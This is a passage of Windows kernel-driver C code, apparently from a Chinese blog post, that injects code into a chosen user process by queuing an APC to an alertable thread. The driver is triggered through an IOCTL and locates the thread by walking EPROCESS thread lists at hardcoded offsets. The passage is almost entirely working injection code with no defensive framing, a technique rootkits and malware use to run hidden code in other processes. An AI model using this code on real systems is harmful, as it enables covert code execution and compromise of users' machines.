                Executive,
                KernelMode,
                FALSE,
                NULL
                );

            delay.QuadPart = -100*10000;
            while(*(char*)(lpTargetAddress + dwApcInjectCodeSize) == 0)
            {
                DbgPrint("%d\t等待APC 例程执行完毕,可以释放内存了\n",iCount++);
                KeDelayExecutionThread(KernelMode,FALSE,&delay);  //等待apc执行 
            }
            DbgPrint("注入成功,退出驱动\r\n");
            size = 0;
            ZwFreeVirtualMemory(NtCurrentProcess(),(PVOID*)&lpTargetAddress,&size,MEM_RELEASE); 
            KeDetachProcess();

            ExFreePool(pKevent);
            return STATUS_SUCCESS;
        }
        else
        {
            if(pTargetProcess == NULL)
            {
                DbgPrint("没有找到 EPROCESS\r\n");
            }
            if(pTargetThread == NULL)
            {
                DbgPrint("没有找到 ETHREAD\r\n");
            }
        }
    } while (0);
    return -1;
}
VOID
    KernelApcRoutine(PKAPC Apc, 
    PKNORMAL_ROUTINE *NormAlRoutine,
    IN OUT PVOID *NormAlContext,
    IN OUT PVOID *SystemArgument1,
    IN OUT PVOID *SystemArgument2)
{
    PKEVENT pEvent;
    pEvent  = (PKEVENT)*SystemArgument1;
    KeSetEvent(pEvent,IO_NO_INCREMENT,FALSE);
    ExFreePool(Apc);   
    DbgPrint("进入到KernelApcRoutine 函数\n");
}
VOID
DriverUnload(IN PDRIVER_OBJECT pDriverObj)
{   
    UNICODE_STRING  uniLinkName;
    PDEVICE_OBJECT  CurrentDeviceObject;
    PDEVICE_OBJECT  NextDeviceObject;

    RtlInitUnicodeString(&uniLinkName,LINK_NAME);

    IoDeleteSymbolicLink(&uniLinkName);

    if (pDriverObj->DeviceObject!=NULL)
    {
        CurrentDeviceObject = pDriverObj->DeviceObject;

        while(CurrentDeviceObject!=NULL)
        {
            NextDeviceObject  = CurrentDeviceObject->NextDevice;
            IoDeleteDevice(CurrentDeviceObject);

            CurrentDeviceObject = NextDeviceObject;
        }
    }
    DbgPrint("UnloadDriver\r\n");
}
NTSTATUS FindTargetProcessAndThread(ULONG dwProcessId,PEPROCESS *ppProcess,PETHREAD * ppThread)
{
    NTSTATUS bRet = -1;
    PEPROCESS Current = NULL;
    PLIST_ENTRY ActiveProcessLinks = NULL;
    PCHAR       ProcessName = NULL;
    PLIST_ENTRY ThreadListHead = NULL;
    PLIST_ENTRY ThreadListEntry = NULL;
    PETHREAD CurrentThread = NULL;
    PETHREAD BeginThread = NULL;
    *ppProcess = NULL;
    *ppThread = NULL;
    do 
    {
        if(!NT_SUCCESS(PsLookupProcessByProcessId(dwProcessId,ppProcess)))
        {
            DbgPrint("找不到目标进程\n");
            break;
        }
        DbgPrint("目标进程名称:%s\n",(ULONG_PTR)*ppProcess + 0x174);

        ThreadListHead = (PLIST_ENTRY)((ULONG)*ppProcess + ThreadListHead_OffsetOf_Eprocess);
        CurrentThread = (PETHREAD)((ULONG)ThreadListHead->Flink - ThreadListEntry_OffsetOf_Ethread);
        BeginThread = CurrentThread;

        while (1)
        {
            DbgPrint("CurrentThread:%p\n",CurrentThread);
            if (*(unsigned char*)((ULONG)CurrentThread + Alertable_OffsetOf_Kthread_Ethread) == 1)
            {
                *ppThread = CurrentThread;
                bRet = STATUS_SUCCESS;
                break;
            }

            ThreadListEntry = (PLIST_ENTRY)((ULONG)CurrentThread + ThreadListEntry_OffsetOf_Ethread);
            CurrentThread = (PETHREAD)((ULONG)ThreadListEntry->Flink - ThreadListEntry_OffsetOf_Ethread);
            if (CurrentThread == BeginThread)
            {
                break;
            }
        }
    } while (0);
    return bRet;
}
NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject,PIRP Irp)
{
    PIO_STACK_LOCATION io;
    PINJECT_INFO InjectInfo;
    NTSTATUS  Status = STATUS_SUCCESS;
    PIO_STACK_LOCATION   IrpSp;
    PVOID     InputBuffer  = NULL;
    PVOID     OutputBuffer = NULL;
    ULONG_PTR InputSize  = 0;
    ULONG_PTR OutputSize = 0;
    ULONG_PTR IoControlCode = 0;

    IrpSp = IoGetCurrentIrpStackLocation(Irp);
    InputBuffer = OutputBuffer = Irp->AssociatedIrp.SystemBuffer;
    InputSize = IrpSp->Parameters.DeviceIoControl.InputBufferLength;
    OutputSize  = IrpSp->Parameters.DeviceIoControl.OutputBufferLength;
    IoControlCode = IrpSp->Parameters.DeviceIoControl.IoControlCode;

    switch(IoControlCode)
    {
    case CTL_KEINJECTAPC:

        InjectInfo=(PINJECT_INFO)InputBuffer;

        if(!InjectInfo)
        {
            Status=STATUS_INSUFFICIENT_RESOURCES;
            break;
        }

        if(!InjectApcWithRing3(InjectInfo))
        {
            Status=STATUS_UNSUCCESSFUL;
            break;
        }

        Status=STATUS_SUCCESS;
        Irp->IoStatus.Information=0;

        break;

    default:
        Status=STATUS_INVALID_DEVICE_REQUEST;
        break;
    }

    Irp->IoStatus.Status=Status;

    IoCompleteRequest(Irp,IO_NO_INCREMENT);
    return Status;
}
  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值